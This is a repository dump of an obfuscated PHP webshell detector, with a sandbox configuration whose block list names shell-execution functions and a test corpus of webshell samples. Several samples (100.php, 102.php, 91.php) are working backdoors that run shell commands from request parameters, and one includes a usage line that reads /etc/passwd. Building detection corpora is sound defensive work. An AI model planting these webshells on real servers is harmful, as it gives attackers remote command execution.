├── .gitignore ├── README.md ├── t └── malware │ ├── eval.php │ ├── test.php │ ├── 1.php │ ├── 0.php │ ├── 10.php │ ├── 11.php │ ├── 19.php │ ├── 20.php │ ├── 22.php │ ├── 23.php │ ├── 24.php │ ├── 25.php │ ├── 26.php │ ├── 32.php │ ├── 33.php │ ├── 37.php │ ├── 38.php │ ├── 4.php │ ├── 45.php │ ├── 46.php │ ├── 47.php │ ├── 48.php │ ├── 49.php │ ├── 50.php │ ├── 52.php │ ├── 53.php │ ├── 54.php │ ├── 6.php │ ├── 62.php │ ├── 69.php │ ├── 71.php │ ├── 72.php │ ├── 75.php │ ├── 82.php │ ├── 83.php │ ├── 89.php │ ├── 92.php │ ├── 93.php │ ├── 94.php │ ├── 95.php │ ├── 109.php │ ├── 112.php │ ├── 113.php │ ├── 114.php │ ├── 121.php │ ├── b374k.php.zip │ ├── 100.php │ ├── 102.php │ ├── 91.php │ ├── weevely.php │ ├── 86.php │ ├── 81.php │ ├── 41.php │ ├── 42.php │ ├── 118.php │ ├── 51.php │ ├── 77.php │ ├── 78.php │ ├── 58.php │ ├── 117.php │ ├── 103.php │ ├── 104.php │ ├── 29.php │ ├── 30.php │ ├── 80.php │ ├── 43.php │ ├── 14.php │ ├── 111.php │ ├── 21.php │ ├── 5.php │ ├── 8.php │ ├── 90.php │ ├── 98.php │ ├── 15.php │ ├── 7.php │ └── 55.php ├── server ├── template │ ├── append.php │ ├── prepend.php │ ├── custom-php.ini │ ├── iptables.rule │ └── apache2.conf ├── t │ ├── read_yaml.pl │ └── make_yaml.pl ├── run.pl └── sandbox.psgi ├── doc ├── PepboTech.odp ├── HostingCasual.odp └── HostingCasual.pdf ├── lib └── K0U5UK3 │ ├── OPWD.pm │ ├── Error.pm │ └── Util.pm ├── settings.yaml └── client └── obscan.pl /.gitignore: -------------------------------------------------------------------------------- 1 | server/logs/* 2 | tags 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # obfusucated-php-detector 2 | -------------------------------------------------------------------------------- /t/malware/eval.php: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /server/template/append.php: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /t/malware/test.php: -------------------------------------------------------------------------------- 1 | 7 | 8 | -------------------------------------------------------------------------------- /t/malware/1.php: -------------------------------------------------------------------------------- 1 | by q1w2e3r4'; ?> 2 | -------------------------------------------------------------------------------- /t/malware/0.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/0.php -------------------------------------------------------------------------------- /t/malware/10.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/10.php -------------------------------------------------------------------------------- /t/malware/11.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/11.php -------------------------------------------------------------------------------- /t/malware/19.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/19.php -------------------------------------------------------------------------------- /t/malware/20.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/20.php -------------------------------------------------------------------------------- /t/malware/22.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/22.php -------------------------------------------------------------------------------- /t/malware/23.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/23.php -------------------------------------------------------------------------------- /t/malware/24.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/24.php -------------------------------------------------------------------------------- /t/malware/25.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/25.php -------------------------------------------------------------------------------- /t/malware/26.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/26.php -------------------------------------------------------------------------------- /t/malware/32.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/32.php -------------------------------------------------------------------------------- /t/malware/33.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/33.php -------------------------------------------------------------------------------- /t/malware/37.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/37.php -------------------------------------------------------------------------------- /t/malware/38.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/38.php -------------------------------------------------------------------------------- /t/malware/4.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/4.php -------------------------------------------------------------------------------- /t/malware/45.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/45.php -------------------------------------------------------------------------------- /t/malware/46.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/46.php -------------------------------------------------------------------------------- /t/malware/47.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/47.php -------------------------------------------------------------------------------- /t/malware/48.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/48.php -------------------------------------------------------------------------------- /t/malware/49.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/49.php -------------------------------------------------------------------------------- /t/malware/50.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/50.php -------------------------------------------------------------------------------- /t/malware/52.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/52.php -------------------------------------------------------------------------------- /t/malware/53.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/53.php -------------------------------------------------------------------------------- /t/malware/54.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/54.php -------------------------------------------------------------------------------- /t/malware/6.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/6.php -------------------------------------------------------------------------------- /t/malware/62.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/62.php -------------------------------------------------------------------------------- /t/malware/69.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/69.php -------------------------------------------------------------------------------- /t/malware/71.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/71.php -------------------------------------------------------------------------------- /t/malware/72.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/72.php -------------------------------------------------------------------------------- /t/malware/75.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/75.php -------------------------------------------------------------------------------- /t/malware/82.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/82.php -------------------------------------------------------------------------------- /t/malware/83.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/83.php -------------------------------------------------------------------------------- /t/malware/89.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/89.php -------------------------------------------------------------------------------- /t/malware/92.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/92.php -------------------------------------------------------------------------------- /t/malware/93.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/93.php -------------------------------------------------------------------------------- /t/malware/94.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/94.php -------------------------------------------------------------------------------- /t/malware/95.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/95.php -------------------------------------------------------------------------------- /doc/PepboTech.odp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/doc/PepboTech.odp -------------------------------------------------------------------------------- /t/malware/109.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/109.php -------------------------------------------------------------------------------- /t/malware/112.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/112.php -------------------------------------------------------------------------------- /t/malware/113.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/113.php -------------------------------------------------------------------------------- /t/malware/114.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/114.php -------------------------------------------------------------------------------- /t/malware/121.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/121.php -------------------------------------------------------------------------------- /doc/HostingCasual.odp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/doc/HostingCasual.odp -------------------------------------------------------------------------------- /doc/HostingCasual.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/doc/HostingCasual.pdf -------------------------------------------------------------------------------- /t/malware/b374k.php.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/b374k.php.zip -------------------------------------------------------------------------------- /lib/K0U5UK3/OPWD.pm: -------------------------------------------------------------------------------- 1 | package K0U5UK3::OPWD; 2 | require Exporter; 3 | use Exporter; 4 | @ISA = qw(Exporter); 5 | @EXPORT_OK = qw(); 6 | use strict; 7 | use warnings; 8 | 9 | 10 | 11 | 1; 12 | 13 | -------------------------------------------------------------------------------- /server/t/read_yaml.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | use strict; 3 | use warnings; 4 | use Data::Dumper; 5 | use YAML qw(LoadFile); 6 | 7 | my $hash = LoadFile("./observ.yaml"); 8 | 9 | print Dumper($hash); 10 | -------------------------------------------------------------------------------- /server/template/prepend.php: -------------------------------------------------------------------------------- 1 | 7 | -------------------------------------------------------------------------------- /server/t/make_yaml.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | use strict; 3 | use warnings; 4 | use YAML qw(Dump Bless); 5 | 6 | my $hash = { 7 | 'WEBROOT' => "/tmp/obfusucated-php-detector/webroot/", 8 | 'TRACELOG' => "/tmp/obfusucated-php-detector/tracelog/", 9 | }; 10 | 11 | print Dump $hash; 12 | 13 | 14 | -------------------------------------------------------------------------------- /t/malware/100.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | "; 7 | $cmd = ($_REQUEST['cmd']); 8 | system($cmd); 9 | echo ""; 10 | die; 11 | } 12 | 13 | ?> 14 | 15 | Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd 16 | 17 | 18 | -------------------------------------------------------------------------------- /t/malware/102.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | "; 8 | $cmd = ($_REQUEST['cmd']); 9 | system($cmd); 10 | echo ""; 11 | die; 12 | } 13 | 14 | ?> 15 | 16 | Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /server/template/custom-php.ini: -------------------------------------------------------------------------------- 1 | auto_prepend_file = {$PREPEND_PHP} 2 | auto_append_file = {$APPEND_PHP} 3 | xdebug.collect_return = 1 4 | xdebug.collect_params = 3 5 | xdebug.collect_assignments = 1 6 | xdebug.var_display_max_data = 100000 7 | xdebug.var_display_max_depth = 100000 8 | xdebug.trace_format = 1 9 | memory_limit = 256M 10 | disable_functions = system, exec, passthru, fopen, file_put_contents, shell_exec, popen, proc_open, pcntl_exec, mkdir, rename, copy, unlink, touch, chmod 11 | -------------------------------------------------------------------------------- /t/malware/91.php: -------------------------------------------------------------------------------- 1 | 11 |
12 |";
19 | if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -la"; }
20 | echo "".$function($_POST['cmd'])."